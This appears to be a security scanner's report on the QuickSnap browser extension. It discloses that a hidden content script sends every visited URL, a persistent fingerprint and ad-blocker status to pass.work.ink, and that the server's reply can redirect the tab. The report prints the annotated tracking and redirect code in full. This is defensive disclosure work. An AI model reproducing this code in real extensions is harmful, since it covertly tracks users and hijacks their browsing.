Is quicksnap safe?
quicksnap reports visited URLs and a persistent fingerprint to pass.work.ink before server-directed redirects.
The extension runs a content script on nearly every site at document start and sends the current page URL, an extension-generated persistent fingerprint, and ad blocker status to pass.work.ink. The server response can then direct the page to navigate to another URL.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Every visited URL and a persistent ID sent to pass.work.ink before redirect
QuickSnap's listing calls it only a screenshot tool.
A hidden content script on every site reports the page URL and a persistent ID to pass.work.ink, which can redirect your tab.
Fires on ordinary pages; ID reused across sites.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You browse to an ordinary website with QuickSnap installed.
The extension sends the page's full URL and a persistent tracking ID to pass.work.ink, which returns a decision that can redirect your tab.
This runs regardless of whether you ever use the screenshot feature the extension is listed for.
- Page URLhttps://example.com/
The full address of the page you're viewing, base64-encoded into the request path.
- Persistent tracking IDquicksnap+5f8533ab-1a60-47e5-917a-92d9368ba5fe
A per-install identifier generated once and reused on every request, letting pass.work.ink connect separate visits to the same browser.
- Ad-blocker detected0 (no ad blocker detected)
Whether uBlock Origin, AdBlock Plus, or AdGuard is installed, checked separately every 5 seconds via chrome.management.
HTTP 200 with a JSON body containing noRedirect and to fields. In this session noRedirect was true so the tab was not sent elsewhere, but the page URL and persistent ID had already left the device before that decision came back.
The visited page's URL is base64-encoded before being placed in the request path, so a quick glance at network traffic does not immediately show which page you were on.
https://example.com/inject2.js reports the page; background.js supplies the ad-blocker flag it reads
inject2.js - annotated
inject2.js// content script, document_start, matches *://*/*const url = window.location.href;const hostKey = "redirected_" + window.location.host;// Per-host dedup: don't report the same host again within 10 hours.let session = await chrome.storage.session.get(hostKey);if (session[hostKey] + 36e6 < Date.now()) { await chrome.storage.session.remove(hostKey);}session = await chrome.storage.session.get(hostKey);// Skip empty/non-http pages, already-reported hosts, and a fixed set of// keywords/paths (work.ink itself, /redirect, /monetize, payment,// checkout, gateway, google.com).if (!url || url.trim() === "" || !url.startsWith("http") || url.includes("work.ink") || session[hostKey] || url.includes("/redirect") || url.includes("/monetize") || url.includes("payment") || url.includes("checkout") || url.includes("gateway") || url.includes("google.com")) { return;}// Mark this host as reported for the next 10 hours.await chrome.storage.session.set({ [hostKey]: Date.now() });// Reuse (or create) a persistent per-install tracking ID.let fingerprint = (await chrome.storage.local.get(["fingerprint"])).fingerprint;if (!fingerprint) { fingerprint = "quicksnap-" + uuidv4(); await chrome.storage.local.set({ fingerprint });}const adblockerInstalled = (await chrome.storage.local.get(["adblockerInstalled"])).adblockerInstalled ? 1 : 0;// Report the current page URL + persistent ID to pass.work.ink and let// the response decide whether to redirect this tab.const res = await fetch( `https://pass.work.ink/redirect/${encodeURIComponent(btoa(url))}` + `?fingerprint=${encodeURIComponent(fingerprint)}` + `&adblockerInstalled=${adblockerInstalled}&base64=1&json=1`);const decision = await res.json();if (!decision.noRedirect) window.location.replace(decision.to);background.js - annotated
background.js// service worker// Checks chrome.management for three known ad-blocker extension IDs// every 5 seconds and records which one (if any) is installed.function isExtensionInstalled(extensionId, callback) { chrome.management.get(extensionId, () => { callback(!chrome.runtime.lastError); });}function pollAdblockers() { let found = false; const clearIfNoneFound = () => { if (!found) chrome.storage.local.remove("adblockerInstalled"); }; isExtensionInstalled("cjpalhdlnbpafiamejdnhcphjbkeiagm", (installed) => { // uBlock Origin if (installed) { chrome.storage.local.set({ adblockerInstalled: "uBlock Origin" }); found = true; } clearIfNoneFound(); }); isExtensionInstalled("cfhdojbkjhnklbpkdaibdccddilifddb", (installed) => { // AdBlock Plus if (installed) { chrome.storage.local.set({ adblockerInstalled: "AdBlockPlus" }); found = true; } clearIfNoneFound(); }); isExtensionInstalled("bgnkhhnnamicmpeenaelnjfhikgbkllg", (installed) => { // AdGuard if (installed) { chrome.storage.local.set({ adblockerInstalled: "AdGuard" }); found = true; } clearIfNoneFound(); });}setInterval(pollAdblockers, 5000);pollAdblockers();Every 10 hours
The check runs on document_start for every page you navigate to, but is skipped for that host for the next 10 hours once it has fired, and permanently skipped for pages whose URL contains work.ink, /redirect, /monetize, payment, checkout, gateway, or google.com.
- pass.work.ink
Receives the base64-encoded page URL, tracking ID, and ad-blocker flag on qualifying visits, returning a JSON decision that can redirect the tab. Not named in the store listing.
What it can do
Permissions this extension asks for, as declared in version 1.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See, disable and uninstall your other extensions, including your security ones
management
Run its own code inside the pages you visit
scripting
Act on the current tab, but only after you click the extension
activeTab
Where it sends data
Destinations our analysis observed quicksnap contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- pass.work.ink
quicksnap sends data to pass.work.ink. 2 other extensions we have analysed send data here.